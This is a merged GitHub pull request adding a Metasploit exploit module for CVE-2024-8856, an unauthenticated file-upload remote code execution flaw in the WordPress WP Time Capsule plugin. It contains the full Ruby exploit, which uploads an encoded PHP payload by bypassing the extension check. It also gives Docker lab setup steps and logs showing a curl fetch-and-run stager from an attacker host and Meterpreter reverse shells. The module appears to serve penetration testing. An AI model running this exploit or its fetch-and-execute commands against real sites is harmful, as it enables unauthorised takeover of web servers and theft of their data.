Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit module for CVE-2024-8856 - WP Time Capsule RCE #19713

Merged
merged 5 commits into from
Dec 13, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -67,4 +67,5 @@ ultimate-member
wp-fastest-cache
post-smtp
really-simple-ssl
perfect-survey
perfect-survey
wp-time-capsule
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
## Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21.
The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin.

To replicate a vulnerable environment for testing:

1. Install WordPress using the provided Docker Compose configuration.
2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip).
3. Verify that the plugin is activated and accessible on the local network.
4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox).
5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality**
by clicking **"Click here to show upload options"**.
This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file
in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable.

## Docker Compose Configuration

```yaml
version: '3.1'

services:
wordpress:
image: wordpress:6.3.2
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 8G
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini

db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: root
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:
```

Create a `custom.ini` file with the following content:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

## Verification Steps

1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`.
2. Launch `msfconsole` in your Metasploit framework.
3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`.
4. Set `RHOSTS` to the IP address or hostname of the target.
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
6. Execute the exploit using the `run` or `exploit` command.
7. If the target is vulnerable, the module will execute the specified payload and return a session.

## Options

No additional options are required beyond the default ones provided in Metasploit.

## Scenarios

### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21

**Setup**:

- Local WordPress instance with WP Time Capsule version 1.22.21.
- Metasploit Framework.

**Steps**:

1. Start `msfconsole`.
2. Load the module:
```bash
use exploit/multi/http/wp_time_capsule_file_upload_rce
```
3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`).
4. Configure other necessary options (e.g., `TARGETURI`).
5. Launch the exploit:
```bash
exploit
```

**Expected Results**:

With `php/meterpreter/reverse_tcp`:

```plaintext
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3

[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
[*] Found version 1.22.21 in the plugin
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
[*] Uploading payload: rJ.php with MIME type: message/http...
[+] Payload uploaded successfully. Parsing response...
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php
[*] Sending stage (40004 bytes) to 172.18.0.3
[+] Deleted rJ.php
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100

meterpreter > sysinfo
Computer : 0bd3f3b7102e
OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Meterpreter : php/linux
```

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```plaintext
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3

[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi &
[*] Fetch handler listening on 192.168.1.36:8080
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
[*] Found version 1.22.21 in the plugin
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
[*] Uploading payload: Ps.php with MIME type: application/zip...
[+] Payload uploaded successfully. Parsing response...
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php
[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 172.18.0.3 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.18.0.3
[+] Deleted Ps.php
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100

meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 11.8 (Linux 5.15.0-126-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
147 changes: 147 additions & 0 deletions modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
(versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
code execution (RCE).

The validation logic in the vulnerable function improperly checks for allowed extensions.
If no valid extension is found, the check can be bypassed by using a filename of specific length
(e.g., "00.php") matching the length of allowed extensions like ".crypt".
},
'Author' => [
'Valentin Lobstein', # Metasploit module
'Rein Daelman' # Vulnerability discovery
],
'References' => [
['CVE', '2024-8856'],
['URL', 'https://hacked.be/posts/CVE-2024-8856'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell', {
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
end

def php_exec_cmd(encoded_payload)
dis = '$' + Rex::RandomIdentifier::Generator.new.generate
b64_encoded_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$cmd = base64_decode("#{b64_encoded_payload}");
#{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)}
END_OF_PHP_CODE

return Rex::Text.compress(shell)
end

def check
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
case plugin_check.code
when 'appears'
return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
when 'safe'
return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
end

CheckCode::Unknown('No vulnerable plugins were detected.')
end

def exploit
base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php')
upload_path = normalize_uri(base_path, 'index.php')

# Generate random filename matching constraints (6 characters total, ending in .php)
filename_prefix = Rex::Text.rand_text_alphanumeric(2)
payload_name = "#{filename_prefix}.php"

random_mime_type = Faker::File.mime_type

phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload)

register_files_for_cleanup(payload_name)

vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...")

mime = Rex::MIME::Message.new
mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}")

res = send_request_cgi(
'method' => 'POST',
'uri' => upload_path,
'ctype' => 'multipart/form-data; boundary=' + mime.bound,
'data' => mime.to_s
)

unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload')
end

vprint_good('Payload uploaded successfully. Parsing response...')

json_response = res.get_json_document
url = json_response.dig('files', 0, 'url')

fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil?

vprint_status("Triggering the payload at: #{url}")
send_request_cgi(
'method' => 'GET',
'uri' => URI(url).path
)
end
end
Loading